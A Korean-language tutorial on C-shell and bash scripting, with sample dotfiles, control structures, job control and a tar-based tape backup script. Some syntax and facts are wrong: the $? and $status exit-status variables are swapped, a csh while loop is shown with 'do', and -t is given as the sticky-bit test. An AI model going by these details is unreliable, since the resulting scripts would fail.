CONTENTS:
1. C-SHEEL이란
2. UNIX SHEEL의 주요 특성
3. C-SHEEL의 용도
4. SHELL의 종류
5. SHELL 명령어와 명령어 FILE
6. SHELL SCRIPT작성시 주의 사항
7. SHELL SCRIPT의 수행
8. shell script 변수
9. temporary file의 사용
10. shell script 제어문
11. 반복 제어문의 종류
12. 인수 list 처리
13. 환경 변수의 사용(변수명은 대문자)
14. 기정 변수의 사용 (set으로 내용 검색)
15. shell 변수의 특성
16. 문자 single(') 와 double(") 와 backword apostroples(') 사이의 차이점
17. shell 변수를 사용한 산술 연산
18. shell script의 debugging
19. 명령어의 대체
20. 명령어 집단화에 유용한 문자및 명령
21. BACKGROUND 상태에서 PROCESS수행
22. 사용자 process의 실행 순위의 조정
23. 수행중인 process의 정지와 재 수행
24. C-SHELL를 이용한 PROGRAM 예
25.일반적인 UNIX 명령들
26. 쉘 프로그래밍(http://www.manpage.co.kr/onlinebook/shell.htm)
27. 쉘 프로그래밍(http://wiki.kldp.org/KoreanDoc//Shell_Programming-KLDP)
DESCRIPTION:
1. C-SHEEL이란
. 사용자 interface이다.
. 어떤 특정한 상태가없다.
. C-PROGRAM언어와 유사한 구문을 갖는 강력한 명령언어를 제공한다.
. UNIX의 사용을 휠씬 쉽게 해준다.
. utility, 특정 사용자 interface와 process FILE, 심지어는 범용 program 마저도
신속하게 개발할 수 있도록 한다.
2. UNIX SHEEL의 주요 특성
(1) .cshrc .login .logout같은 특수FILE을 사용하여 자신의 session을 취향에 맞도록 수정할수
있다.
(2) HISTORY기능을 쓰면 명령을 다시 실행할 수 있으며 ALIAS를 쓰면 연속된 명령을 다른 이름
으로 사용할수있다.
(3) SHEEL변수를 쓰면 연속되는 명령에서 긴문자를 재사용 할 수 있도록 저장할 수있다.
입출력 방향전환, 명령GROUP, 명령 치환 등은 명령을 구성하기 위한 C-SHEEL의
기본요소다.
(4) UNIX의FILE SYSTEM은 계층적 구조를 가지고있다. FILE을 지정하는 것은 현재 DIRECTORY나
ROOT DIRECTIRY로 시작하는 경로이름을 사용한다.
(5) C-SHEEL은 프로그램 언어이다. 새로운 도구를 창조해 내는것은 C-SHEEL SCRIPT,C-SHEEL
명령, PROGRAM구조, ERROR검사, 입출력 명시등을 포함하는 TEXT FILE의 작성을 통해서
이루어진다.
3. C-SHEEL의 용도
다음 3가지 방법으로 사용할 수있다.
(1) 대화적으로 UNIX명령을 실용하기 위해
(2) 개인화에서 작업 환경을 정의하기위해
(3) PROGRAM에서 C-SHEEL PROGRAM같은 새로운 도구를 생성하기위해
4. SHELL의 종류
(1) C-SHELL(csh) : C PROGRAM언어로 부터 그구조와 이름이 유래됨
(2) UNIX 표준 BOURNE SHEEL (sh)
(3) UNIX V BOURNE SHELL (sh5)
(4) KORN SHELL (ksh) : BOURNE SHELL로 부터 유래된 최근의 SHELL
5. SHELL 명령어와 명령어 FILE
(1) PROFILE과 .profile 명령 FILE
모든 사용자에게 적용되는 SHELL명령 FILE은 /etc/profile인데 사용자가 login하여 사용자의
directory의 명령 file을 수행하기 전에 실행하도록 system 관리자가 기본적으로 설정한 명령
file이다.각 사용자는 etc/profile을 수행한후 자신이 설정한 명령 file을 login한후 바로 실행
시킬수 있는데 .profile에 명령을 설정하면 된다.
(예) .profile FILE
tty -s
if test $? = 0
then
stty dec crt
fi
PATH=.:$HOME/bin:/usr/ucb:/bin:/usr/bin:/usr/local:/usr/new:/usr/hosts
MAIL=/usr/spool/mail/$USER
tset -n -I
export TERM MAIL PATH
biff n
(2) .cshrc 명령어 file (c-shell만 사용)
다양한 경로의 변경이나 전체에 영향을 미치는 alias값등의 설정을 변경하려는 명령을 지정하는
데 사용하는 file이다.
.cshrc file은 HOME DIRECTORY에 존재하여 C-SHELL에 의해 해석된다. 이 FILE은 SHELL SCRIPT를
효율적으로 사용 할 수 있도록 변수 할당, ERROR CODE와 같은 진보된 기능을 위해 이용된다.
(예) .cshrc FILE
if ($?prompt) then
set prompt = "csh> "
set notify
set history = 50
set term = vt100
alias h history
alias gc setenv GKS3Dconid basic002:0.0
alias ung unsetenv GKS3Dconid
alias unws unsetenv GKS3Dwstype
alias gpr setenv GKS3Dconid /dev/tty01
alias gp setenv GKS3Dwstype %x10500033
alias gl setenv GKS3Dwstype %x00500033
alias isl4 setenv GKS3Dwstype %x0070003d
alias l "pwd;ls -F"
alias pd pushd
alias pop popd
alias help apropos
alias vt52 "set term = vt52"
alias ti745 "set term = ti745 ; stty -tabs"
alias ti785 "set term = ti745 ; stty -tabs"
alias vt100 "set term = vt100"
alias _dry cd /usr/skb/dry_source
alias _opti cd /usr/skb/dry_source/opti
alias _daed cd /usr/skb/dry_source/contact
alias _marpol cd $HOME/sd9112/marpol
alias _source cd $HOME/../source/sikob_source
alias dryrun /usr/skb/dry_source/rev3/dryrun
alias gendat /usr/skb/dry_source/rev3/gendat
alias profile /usr/skb/dry_source/rev1/profile
alias prelikon cd /usr/sbdd1.users/sikob/source/prelikon
alias pkdata cd /usr/sbdd1.users/pkdata
alias hpgl "echo '||e5' > /dev/tty01;setenv GKS3Dconid /dev/tty01"
alias lo 'echo -n "From> ";set w = $<; find $w -name !* -print;unset w'
# alias cd 'cd !*;set cwdd="$cwd:t";if($cwdd == '' ) set cwdd='/';set
prompt="`hostname` SIKOB[$cwdd]> "'
alias cd 'cd !*;set prompt="SIKOB [`dirs`]>"'
endif
(3) .login 명령어 file (c-shell만 사용)
만약 login shell이 c-shell이면 HOME DIRECTORY 내에 존재하는 .login FILE을 읽은후 그내용을
순서대로 실행시킨다.
.login FILE에는 많은 명령이 있으나 특히, SHELL 자체에 대한 설정 명령 SET가 많이 있다.
(예) .login FILE
stty dec new cr0
tset -I -Q
umask 022
setenv MAIL /usr/spool/mail/$USER
set mail=$MAIL
set path=(. $HOME/bin /usr/ucb /bin /usr/bin /usr/local /usr/new /usr/hosts
/usr/users/sikob/bin/skcpl)
set prompt="SIKOB > "
setenv EXINIT 'set redraw wm=8'
setenv DECFORT_FFRLIB "T"
biff n
date
(4) .logout 명령어 file (c-shell만 사용)
logout명령을 수행 시키면 file logout에 저장된 명령을 실행 시킨다.
(예) .logout FILE
#
# default cadds user logout script
#
# 24-Jun-86 HPS; 'oplog off' is commented out
# 25-mar-86 jaf; moved
# 11-mar-86 aws; created
######################################################################
#
#oplog off
#clear
cal
6. SHELL SCRIPT작성시 주의 사항
(1) 첫번째 LINE 첫 COLUME은 #! 로시작하며 그내용을 읽는 사람이 알기 쉽도록 SHELL SCRIPT를
수행하는 SHELL의 경로명을 적는다.
(2) SHELL SCRIPT는 보통 작성자가 쉽게 간과해버는 주석에 대해 강조하여 작성한다.
(3) 주석은 #으로 시작하며 SHELL에 의해 명령어로 해석되지 않는다. 하지만 만일의 경우
명령어로 해석되것을 방지 하기 위해 # 다음에 QUOTATION MARK로 문자을 열고 닫는다.
(4) 명령어를 적은후 동일 LINE에 #으로 시작하는 주석을 IN LINE COMEND라고 하며 명령어의
마지막에 ;을 사용하여 명령어와 IN-LINE COMEND와 분리 한다.
(5) ECHO 명령은 ECHO 명령 다음의 명령과 함께 출력하는데 유용하게 사용된다.
7. SHELL SCRIPT의 수행
① SUB-SHELL을 수행 시킨다.
② 사용자의 현재 SHELL내에서 SCRIPT를 수행 시킨다.
③ SCRIPT를 수행 가능하게 만든다.
(1) SUB-SHELL의 수행
BOURNE SHELL의 경우 : sh
C-SHELL 의 경우 : csh
(2) 사용자의 현재 shell내에서 script 수행
source
8. shell script 변수
(1) 변수명 부여시 주의 사항
① 변수의 이름은 문자로 시작한다.
② 변수는 문자, 숫자, 밑줄로 구성한다.
③ 길이는 20자까지 제한한다.
(2) 변수에 값할당/해제
변수에 값을 할당하는 문자 = 를 사용하고 앞뒤에 공백이 없어야한다.
설정
set <변수명> = <값>
* 값이 문자열인 경우 " " double quotation 사용
해제
$ unset <변수명>
(3) 변수값 출력
echo $ <변수명>
echo " "
echo <단어>
(4) read문장을 이용한 값할당
표준 입력 (key board)로 입력을 받아 변수에 값을 직접 할당
read <변수명> = $<
9. temporary file의 사용
현재 사용 directory에 임시 file을 작성 하는것은 매우 안전하지만 다음과 같은 이유로 피하는것
이 좋다.
(1) 현재의 directory 에 TEMP라는 file이 이미 존재할 경우 shell script를 수행 시키면
temp file이 새로운 file로 대체되어 원하지 않는 부작용이 생길수 있다.
(2) 한 사용자가 작성한 명령 shell file을 다른 사용자가 공유하려는 경우 명령을 수행한 결과
생성되는 임시 file이 다른 사용자에게 사용될수 있는지는 확실 하지 않다.
ㅇ대체 방안
(1) 임시 file만을 저장하는 directory에 shell script file과 수행되는 PID번호를 연결한
이름으로 저장하게 한다.
10. shell script 제어문
(1) 조건문의 사용
명령을 연속으로 수행하지 않고 조건을 부여 수행 순서를 변경하고자 할때 사용
korn shell의 경우
if <조건이나 명령 표현식> ;
then
참인 경우 - 명령 수행
:
:
else
거짓인 경우 - 명령 수행
:
:
fi
c-shell의 경우
if {<조건식/명령 표현식>} then
참인 경우 - 명령 수행
:
:
else
거짓인 경우 - 명령 수행
:
:
endif
ㅇ주의 사항
① then의 위치
korn shell : if 명령과 다른 line, 즉 다음 line
c-shell : if와 같은 line상에 명령
② c-shell에서는 <조건식/명령 표현식>은 { }에 표현
③ <조건식/명령 표현식>의 거짓에 대한 처리가 필요치 않은 else이하는 생략
④ 명령 표현식의 참/거짓의 명령어 종료 상태 변수에 값을 할당한다.
정상적인 경우 변수 값은 0(zero)가 저장되며 실패인 경우 다른 값이 저장되며 아래의
값에 의해 결정된다.
korn shell의 경우 : $status
c-shell의 경우 : $?
ㅇ조건 대상
① 명령어가 조건 비교 판단
② 변수에 저장된 값과 숫자의 비교 판단 - 산술 연산자 사용
③ 변수에 저장된 문자열과의 비교 판단
④ file의 종류 비교 판단
⑤ file이나 변수의 형태를 비교 판단
ㅇ 문자열 비교 연산자
표현식 설 명
<문자열1> == <문자열2> 두문자열이 같으면 참
<문자열1> != <문자열2> 두문자열이 다르면 참
<문자열1> =~ <문자열2> <문자열1>과<문자열2>에 지정한 패턴이 일치 하면 참
<문자열1> !~ <문자열2> <문자열1>과<문자열2>에 지정한 패턴이 일치 하지 않으면 참
ㅇfile의 접근권한, 존재유무, 종류 비교 조건
조 건 설 명
-r 접근권한 읽기(r)로 설정 되면 참
-w 접근권한 쓰기(w)로 설정 되면 참
-x 접근권한 실행(x)로 설정 되면 참
-e 존재하면 참
-o 소유자가 명령 실행자면 참
-O 소유자가 명령 실행자면 참
-z 지정한 file의 내용이 없으면 참, 즉 file size 0(zero)면 참
-f directory 가 아니면 참
-d directory 이면 참
ㅇ산술 연산자
연산자 설 명
+ 덧셈
- 뺄셈
* 곱셈
/ 나눌셈
% 나눌셈의 정수 나머지
^ 승수
ㅇ논리 연산자
연산자 표 현 자 설 명
NOT ! <표현식> <표현식>이 참이면 거짓
OR <표현식1>||<표현식2> 표현식 1,2중 하나가 참이면 참
AND <표현식1>&&<표현식2> 표현식 1,2가 모두 참일때 참
(2)중첩 if문
if ~ else ~ endif문 내에 if ~ else ~ endif문이 있는 경우
(3) 반복 (LOOPING)
11. 반복 제어문의 종류
(1) interative 반복문
지정된 숫자만큼 반복하여 수행
korn shell의 경우
for <제어변수> in (<항목의 list>)
do <명령문>
done
c-shell의 경우
foreach<제어변수> (<항목 list>)
<명령문>
end
* 문장내에 항목 list를 기술하기 보다는 명령어 인수 list로 대체하는것이 일반적이다.
ㅇ항목 list를 명령어의 list로 대체 경우
korn shell의 경우 c-shell의 경우
for <반복 횟수> in $@ foreach <반복횟수> in ($argv[*])
(2) conditional 반복문
조건이 만족하면 계속 수행 만족하지 않으면 정지
korn shell의 경우
while<조건>
do
<명령어들>
done
c-shell의 경우
while (<조건>)
do
<명령어들>
end
* <조건>은 if ~ else ~ endif문에서 사용했던 조건 표현식과 같다.
ㅇ주의 사항
① <조건>이 참이면 일련의 명령을 수행한후 다시 <조건> 조사
② <조건>이 참이면 명령 수행, 거짓이면 반복문을 끝낸다.
③ <조건>이 참만 있으면 무한 loop처리로 program 오류 발생
④ 무한 loop로 판단되면 Ctrl+C로 정지
⑤ 무한 loop의 반복 원인을 찾아 수정
set noglob : 입력되는 문자 ?가 if문에서의 패턴 사용 문자로 사용되는것을 방지한다.
12. 인수 list 처리
$# - positional parameter 라고 부르며, 인수의 갯수를 저장하며, 공백에 의해 분리되어 위치를
나눈다. 보통 $1 ~ $9까지의 변수를 사용하며 그이상일때는 { }를 사용하여 표시한다.
13. 환경 변수의 사용(변수명은 대문자)
① 이미 정의되어 사용자가 이름을 만들지 않아도 system에서 자동적으로 변수에 값을 저장하거나
사용자가 필요로 할때 이용 할 수 있다.
② 사용자 환경에서 제어 된다.
ㅇ환경 변수에 대한 설명 (env명령으로 내용 검색)
변수명 설 명
TERM TERMINAL 유형을 정의하는 CODE로 설정
HOME 사용자의 HOME DIRECTORY정의, 절대 경로명을 가진다.
PATH 명령어 검색 경로
USER 모든 사용자의 LOGIN명을 가진다.
SHELL 사용자의 LOGIN SHELL, 절대 경로명을 가진다.
MAIL 사용자의 우편물을 저장하는 DIRECTORY로 경로명을 가진다.
EXINT ex, vi편집기에 사용하는 OPTION들을 초기화한다.(40개)
TERMCAP 개인 DATA BASE를 사용하도록 한다. (DEFAULT는 etc/termcap)
TTYLINE TERMONAL DEVICE PROGRAM을 사용할수 있도록 하기위해서 선언
14. 기정 변수의 사용 (set으로 내용 검색)
set 변수 = 문자열
기정 변수명 설 명
path 명령어 검색 경로 directory명의 list를 가진다.
cdpath unix 계층적 file system의 특성을 살려 작업영역을 독립된
directory로 구분 할때 사용, 절대 경로명의 단어list
home HOME DIR.의 절대 경로명을 포함하고 있다.
LOGIN PROGRAM으로 부터 받은 값으로 초기화 한다.
shell default c-shell은 shell을 /bin/csh로 초기화
대개의 경우는 바꾸지 않는것이 좋다.
mail MAIL BOX가 있는곳 설정, set mail = (60 /usr/sara)
history history에 저장된 명령의 갯수 정의
histchars history명령을 수행시키는데 사용하기를 원하는 수개의 문자
로 설정, .cshrc file내에서 정의 할수 있다.
savehist login session간의 history list를 연결하고 싶을때 사용
prompt prompt 정의, 사건번호를 보이기 위해 history 문자 ! 를
포함 시킬수 있다.
ignoreeof 실수로 Ctrl+D를 typing했을때 logout방지
noclobber 출력 방지 전환시 이에 존재하는 file에 겹쳐 쓰는것을 방지
time 주어진 시간 이상의 CPU시간을 소요하는 모든 명령에 대해
지원 사용 통계치를 보여 준다.
cwd 사용자의 현재 사용 directory
15. shell 변수의 특성
① shell script에서 정의되어 생성된 변수는 shell script가 수행되는 동안만 존재하므로 명령어
입력 line에서 대화식으로 참조하거나 다른 shell script에서 사용할 수 없다.
② terminal에서 keyboard 입력으로 변수를 설정한 경우 shell script내에서 대화식으로 사용한
변수를 사용할 수 없게 된다.
③ 지역 변수다.
1)변수값 공유
korn shell의 경우 c-shell 의 경우
typeset <변수명> = <할당할 값> setenv <변수명> <할당값>
export <변수명>
export <변수명> = <할당값>
export 명령 : shell script와 명령 입력 line에서 공유하여 사용
* 상위 shell에서 공유한 변수는 하위 shell에서 참조 가능 하지만 하위 shell에서 공유한 변수는
상위 shell에서 참조 할수 없다.
16. 문자 single(') 와 double(") 와 backword apostroples(') 사이의 차이점
표식 문자 설 명
' 무조건 문자열 해석하여 출력
변수,명령어,문자 패턴 모두 인식 하지 못함
" 명령어와 변수를 해석하여 문자열과 출력
명령어 '<수행 명령어>'
변수는 $<변수명> 형식으로 사용
` 명령어나 변수로 해석
17. shell 변수를 사용한 산술 연산
korn shell의 경우
((<변수> = <변수나값> <산술연산자><변수나값>
let <변수> = <변수나값><산술연산자><변수나값>
c-shell의 경우
@변수=<변수나값><산술연산자><변수나값>
18. shell script의 debugging
1) shell tracing
set verbose - shell script program에 set verbose의 명령을 추가하여 명령을 추적
조사 할수있다.
korn shell의 경우 c-shell의 경우
ksh -v <실행 shell script명> csh -v <실행 shell script명>
ksh -x <실행 shell script명> csh -x <실행 shell script명>
19. 명령어의 대체
1) 명령어의 변수 할당
korn shell의 경우 c-shell의 경우
typeset <변수명> = $(<명령어>) set <변수명> = <'명령어'>
2) 명령어의 대체
명령어를 변수에 할당하여 명령어의 인수로 사용하는 것이 아니라 명령어의 인수로 명령어를 사
용하여 대체하여 해석된후 수행한다.
20. 명령어 집단화에 유용한 문자및 명령
문자및 명령 결과 및 설명
ECHO <명령열> 출력에 <문자열>이 표시
; 명령어와 명령어 구분
명령이 한 LINE을 초과할경우 연결
( ) 명령어 GROUP을 표시
" " ()와 같이 C-SHELL에 명령어 GROUP을 표시하여 해석하도록함
21. BACKGROUND 상태에서 PROCESS수행
1) BACKGROUND 상태에서 입력되는 보통의 명령어와 관계 없이 PROCESS를 수행 시키는 곳을
말한다.
<수행시킬 명령어> &
* 수행후 "[작업번호] PROCESS번호 " 의형식으로 MESSAGE가출력된다.
2) login shell의 종료
init process 는 system을 시작했을때 수행이 시작되며 system관리자나 consol에 의해 관리되
고 책임을 갖게된다.
사용자가 logout하면 login shell과 함께 background에서 수행되는 process가 종료되는것이 아
니라 background process의 부모 process를 login shell에서 init process로 옮겨 할당된다.
3) background작업의 표준 입력
.login file에서 set notify로 설정하면 backgound 작업중에 system에서 대화식으로 요구되는
입력을 할 수 있게된다. 즉, background작업중 표준 입력 (key board)로 부터 입력을 해야 할
경우 system에서 message를 출력하여 입력을 요구하며 입력이 되면 계속 수행된다.
fg <작업 번호>
4) sleep명령어
지정한 시간동안 명령어의 수행을 일시 정지 시키는 명령어
sleep <시간 : 숫자>; <수행 명령어> &
22. 사용자 process의 실행 순위의 조정
보통의 명령보다 낮은 실행 순위로 명령을 수행 시키면 긴 처리 시간후에 완료된다. 보통의
process는 0의 실행 순위를 갖으며, -20~20까지의 범위에서 설정 할 수 있다.
nice <실행순위> <수행명령어> &
다음은 유용하게 사용되는 실행 순위이다.
실행 순위 설 명
+19 process가 매우 느리게 수행된다.
+10 nice명령어의 실행 순위를 지정하지 않을때 기본 실행 순위
0 보통 작업의 실행 순위
-1 ~ -20 system관리자만 설정 할수있는 실행순서로 process를 빠르게
수행시킨다.
23. 수행중인 process의 정지와 재 수행
jobs명령은 작업 번호에 의해서 작업의 list를 출력 시킨다.
작업 제어 명령어
명령어 설 명
<명령어> & background에서 명령어나 작업을 수행
jobs 정지상태나 수행중인 작업 번호를 활동 상태의 작업
list 출력
stop<작업번호> 지정한 background작업의 정지
Ctrl+Z 현재 수행중인 foreground작업의 정지
Kill PID PID번호에 의해 작업을 TERM/sjg로 이름지어진 번호를
보내면서 정지
Kill-l 작업 정지 신호의 list
bg <작업번호> background작업을 계속 수행
fg <작업번호> foreground 작업을 계속 수행
24. C-SHELL를 이용한 PROGRAM 예
(cadds file backup용)
#
# default backsrc script
#
set io = "tar: read error: I/O error"
while(1)
set d = `date`
echo ' '
echo ' '
echo " DATE : "$d[6]. $d[2]. $d[3].
echo " TIME : "$d[4]
echo ''
echo ' ******************************************************'
echo ' CREATE TAPE ARCHIVES, AND ADD OR EXTRACT FILES'
echo ' ******************************************************'
echo ''
echo ' ************************************************'
echo ' * 1. file list for m.t *'
echo ' * 2. back up (work station ===> m.t) *'
echo ' * 3. restore (m.t ===> work station) *'
echo ' * 4. exit *'
echo ' ************************************************'
echo ''
echo -n ' WHAT DO YOU WANT TO EXECUTE ? ---- NO. : '
set test = $<
echo ''
if ($test) then
if($test == 1) then
mt -f /dev/rst0 rewind
while(1)
echo ' ******************************************************'
echo ' * Display table of contents of the archive *'
echo ' ******************************************************'
echo ''
tar -tvf /dev/nrst0
echo -n ' Continue ("y"/"n") ....................: '
set cont = $<
if($cont == n) break
end
else if ($test == 2) then
while(1)
echo ''
echo ' *******************************************'
echo ' * BACKUP MODE *'
echo ' *******************************************'
echo ''
echo -n ' INPUT (file & directory) ............. : '
set fldir = $<
tar -cvf /dev/nrst0 $fldir
echo -n ' Continue ("y"/"n") ....................: '
set cont = $<
if($cont == n) break
end
else if ($test == 3) then
mt -f /dev/rst0 rewind
while(1)
echo ''
echo ' *******************************************'
echo ' * RESTORE MODE *'
echo ' *******************************************'
echo ''
echo -n ' INPUT (skip over the end of file).... : '
set skip = $<
mt -f /dev/nrst0 fsf $skip
echo -n ' INPUT (file & directory) ............. : '
set fldir = $<
tar -xvf /dev/nrst0 $fldir
echo -n ' Continue ("y"/"n") ....................: '
set cont = $<
if($cont == n) break
end
else if ($test == 4) then
break
endif
end
mt -f /dev/rst0 rewind
echo ' ***** END OF BACKUP/RESTORE C-SHEEL ***** '
26.일반적인 UNIX 명령들
(1) FILE과 DIRECTORY 관리 명령
.cat
.cd,cddir
.chmod
.cp
.file
.find
.head
.ln
.ls
.mkdir
.more
.mv
.rm
.rmdir
.tail
.tee
(2) TEXT 처리명령
.awk ; Aho,Weinberger,Kernighan ;text에서 패셴을 찾고 어떤동작을 행한다.
.diff
.ex
.grep
.lpr
.nroff
.pr
.sed
.sort
.spell
.split
.tr
.vi
.wc
(3) SYSTEM상태의 명령
.date
.du
.env : 현재의 환경변수를 display
.id
.kill
.news
.ps
.pwd
.stty
.tset
.tty
.who
.write
(4) SOFTWARE 개발명령
.ar : 저장및 라이브러리 관리
.cb : C beautifier
.cc :
.cmp
.nm
.od
.size
26. 쉘 프로그래밍
여러 개의 명령을 수행해야 하거나 긴 명령어를 수행할 때 는 일일이 typing을 하는것보다는 스크립트
로 만들어놓고 실행하는 것이 훨씬 간편하다.
쉘 스크립트는 쉘에서 사용하는 명령어들을 나열하여 파일로 저장하여 실행하는 것을 말한다.
아래는 쉘 스크립트의 예이다.
========================
date
ls -al
=======================
결과 : date명령을 실행한 후에
ls -al명령을 실행한 결과를 화면에 출력
<쉘 스크립트 예 >
쉘 프로그램은 스크립트 안에 해당 쉘의 문법을 사용하여 프로그램으로 작성한 것을 말하며, /bin/ksh, /bin/csh, /bin/bash 등 리눅스에서 사용되는 쉘마다 약간 다른 설정값등 약간 다른 문법을 가지고 있다. 여기에서는 가장 많이 쓰이고 있는 /bin/bash쉘의 쉘 프로그래밍 작성법에 대해서 알아볼 것이다.
쉘 프로그램을 잘 활용하면 서버를 관리하는데 많은 도움이 된다.
8.1 쉘 프로그램의 변수
앞서서 쉘프로그램도 프로그램의 범주안에 들어간다고 했다. 그러므로 쉘 프로그램도 변수를 사용한
다. 하지만 C언어처럼 미리 변수를 지정해놓을 필요는 없다. 필요할 때 마다 변수를 만들어서 사용하
면 된다.
쉘 스크립트의 변수를 사용할 때는 $를 앞에 붙여야 변수라고 인식을 하게 된다. 다만 변수에 값을 대
입할 때에는 $기호를 사용하지 않는다.
변수를 생성하는 방법은 특별한 것은 없지만 변수의 첫 자는 영문자(대소문자 구별) 이거나, 숫자 이
어야 한다.
==================
#!/bin/sh <- 프로그램을 해석할 해석기 지정한다.
manpage="12345" <- 변수에 값을 대입시
echo "$manpage" .<- 변수를 사용할 때
==================
결과 : 12345
쉘 프로그램에서는 직접 만들어서 사용할 수 있는 변수도 있지만 기본적으로 제공되고 있는 변수가 있다. 이들을 환경변수라 한다.
환경 변수
설 명
$PATH
서버에 설정되어 있는 패스(path)가 지정된 경로의 값을 가지고 있다.
$LANG
서버에 설정된 언어의 값을 가지고 있는 변수
$SHELL
현재 사용자가 사용하고 있는 쉘의 정보를 가지고 있는 변수
$HOME
현재 사용자의 홈 디렉토리의 경로 정보를 가지고 있는 변수
메일이 저장된 파일의 경로 정보를 가지고 있는 변수
$MAILCHECK
새로운 메일을 검사하는 시간 간격을 초 단위로 가지고 있는 변수
$PWD
현재 디렉토리의 경로 정보를 가지고 있는 변수
$PS1
사용자의 프롬프트 형태의 정보를 가지고 있는 변수
$IFS
Internal File Separator로서 input-word-separator로서 사용할 문자
를 지정한다.
환경 변수는 모두 대문자 이며, 환경변수는 쉘에서 특수한 의미로 해석하는 것이기 때문에 임의로 값
을 대입하게 될 때에는 주의를 가지고 변경 해야 한다.
기타 다양한 환경 변수가 있으면 이들은 set 명령을 통해서 확인할 수 있다.
특수 변수
설 명
$0
실행한 쉘 스크립트의 이름
$ARGV
$#
쉘 스크립트 실행할 때 사용한 인자의 총 개수
$$
쉘 스크립트가 실행되었을 때의 프로세스 ID (PID)
기타 ($. , $(, $<, $/ 등등의 많은 특수변수가 있지만 perl에서 사용되는 것이거나 자주 사용하지 않는 것이라서 생략하도록 한다.)
인자 변수
설 명
$n
쉘스크립트를 실행할 때 인자로 적어준 값의 정보를 가지고 있는 변수
(n = 숫자)
$*
$n으로 받아온 모든 인자들의 정보를 가지고 있는 변수로서 IFS 변수
에 의해서 구분된다.
$@
$* 과 동일하다. (IFS에 의해서 구분 받지 않는다고 하지만 모두 구분
된다.)
cat test.sh
================
#!/bin/sh
IFS="_"
echo $*
================
sh test.sh 1 2 3_4 / 5
결과 : 1 2 3 4 / 5 (“_”는 IFS 구분자로서 인식이 된다)
< 인자 변수와 IFS의 실행 결과 >
8.2 연 산
쉘프로그래밍은 쉘 명령어만 나열해서 쓰는 것과는 달리 연산식도 계산할수 있다.
연산식을 쓰는 방법은 반드시 아래의 규칙에 따라야 한다.
1. $((연산식))
2. $[연산식]
3. echo 연산식 | bc [-l]
1. 2번은 쉘에서 제공되는 일반적인 연산법이며 오직 정수만을 계산하고 표현할 수가 있다. 하지만 좀더 상세하게 나머지 등의 고급 연산을 하기 위해서는 3번처럼 서버에서 제공되는 bc라는 계산기를 사용하여 계산할 수 있다. bc의 상세한 기능은 man page를 참고 하기 바란다.
==================
#!/bin/sh
i=1
while [ $i != 10 ];
do
echo "$i"
i=$(($i+1))
done
==================
< 1~9까지 카운터 하는 쉘 프로그램 >
위 계산식은 1-9까지의 숫자를 카운터 하는 프로그램이다. 연산이 어떻게 실제 쉘프로그램에서 쓰여
지는지를 확인해보기 위해서 아직 알아보지 않은 while문을 써서 나타낸 것이므로 while을 모른다 고
해서 크게 문제되지 않는다. while문은 다음에 알아보게 될 것이다.
8.3 기본 문법 1
문자열 비교 구문
설 명
[ string1 = strings2 ]
두 string 문자열이 같다면 참
[ string1 != string2 ]
두 sting문자열이 같이 않다면 참
[ -n string ]
string 문자열의 길이가 0[null] 아니라면 참
[ -z string ]
string 문자열의 길이가 0[null] 이라면 참
[ string1 -a string2 ]
string1과 string2의 결과가 모두 같다면 참 (AND)
[ string1 -o string2 ]
string1과 string2의 결과 중에 하나라도 참이면 참 (OR)
문자열이 하나의 단일 문자열이 아니고 space(공백)을 가지는 문자열이라면 “ string "으로 묶어 줘야
한다.
산술 비교 구문
설 명
[ A -eq B ]
두 표현식의 값이 같다면 참
[ A -ne B ]
두 표현식의 값이 다르면 참
[ A -gt B ]
두 표현식중에서 A가 크다면 (A > B) 참
[ A -ge B ]
두 표현식중에서 A가 크거나 같다면 (A >= B) 참
[ A -lt B ]
두 표현식 중에서 A가 작다면 (A < B) 참
[ A -le B ]
두 표현식 중에서 A가 작거나 같다면 (A <= B) 참
파일 비교 구문
설 명
[ -e file ]
해당 파일이 존재하면 참
[ -d file ]
해당 파일이 디렉토리이면 참
[ -f file ]
해당 파일이 정규파일이면 참
[ -r file ]
해당 파일에 읽기 권한이 있으면 참
[ -w file ]
해당 파일에 쓰기 권한이 있으면 참.
[ -x file ]
해당 파일에 실행 권한이 있으면 참.
[ -u file ]
해당 파일에 set-uid가 설정되어 있으면 참
[ -g file ]
해당 파일에 set-gid가 설정되어 있으면 참
[ -O file ]
해당 파일의 소유자가 현재 쉘을 실행한 사용자이면 참
[ -G file ]
해당 파일의 그룹이 현재 쉘을 실행한 그룹이면 참
[ -b file ]
해당 파일이 블록 device면 참.
[ -c file ]
해당파일이 문자 device면 참
[ -h, -L file ]
해당 파일이 Symbolic link 이면 참
[ -t file ]
해당 파일에 Stiky bit가 설정되어있으면 참
[ -s file ]
해당 파일의 크기가 0이 아니면 참
[ file1 -nt file2 ]
file1이 file2 보다 최근파일이면 참
[ file1 -ot file2 ]
file1이 file2 보다 예전 파일이면 참
[ file1 -ef file2 ]
file1이 file2의 하드링크 파일이면 참
※ 참고 : 모든 비교조건의 앞에는 !를 붙임으써 반대의 의미를 가지게 할 수 있다.
ex ))
[ ! -d file ] : 해당 파일이 디렉토리가 아니라면 참
8.4 기본 문법 2
1. if 문
쉘 프로그램의 if 문은 일반 프로그램 언어의 if 문과 유사하지만 더 쉬운 구조를 가지고 있다.
if문은 if로 시작해서 fi로 끝나며, 명령의 끝을 나타내는 ; 기호도 필요 없다.
[ 사용법 ]
w 단일 조건 일때 ( 조건이 참이면 실행문 A를 실행하라. )
if [ 조건 ] ( = if [ 조건 ]; then 한줄로도 사용한다 )
then
실행문 A
fi
w 두가지 조건일때 ( 조건이 참이면 실행문 A, 거짓이면 B를 실행하라 )
if [ 조건 ]; then
실행문 A
else
실행문 B
fi
w 세 가지 조건일 때 ( 조건이 참이면 실행문 A, 아니면 B, 그것도 아니면 C를 실행하라 )
if [ 조건 ]; then
실행문 A
elif
실행문 B
else
실행문 C
fi
이와 같은 방식으로 수십 가지의 조건을 만들 수 있으며, if문안에 또다시 if문을 첨가하여
좀더 복잡하고 명확한 결과 값을 얻어낼 수 있다.
다음은 if문의 예제이다.
============================
#!/bin/sh
if [ -d test ]; then
echo " test is directory "
else
echo " test is not directory "
fi
============================
결과 : 만약에 test가 디렉토리라면 "test is directory"가 출력되고 디렉토리가 아니라면 “test is not directory" 가 출력된다.
<프로그래밍 1. if 문 예제 >
2. while 문
쉘 프로그래밍의 while문 역시 다른 언어의 while문과 동일한 기능을 수행한다.
조건이 참일때 까지 구문을 수행하며, do로 시작해서 done을로 마무리가 된다.
[ 사용법 ]
while [ 조건문 ] ( = while [ 조건문 ]; do 로 한줄로 쓸수 있다. )
do
명령문
done
=================================
#!/bin/sh
time=1
while [ $time != 10 ]; do
echo "$time"
time=$[$time + 1]
done
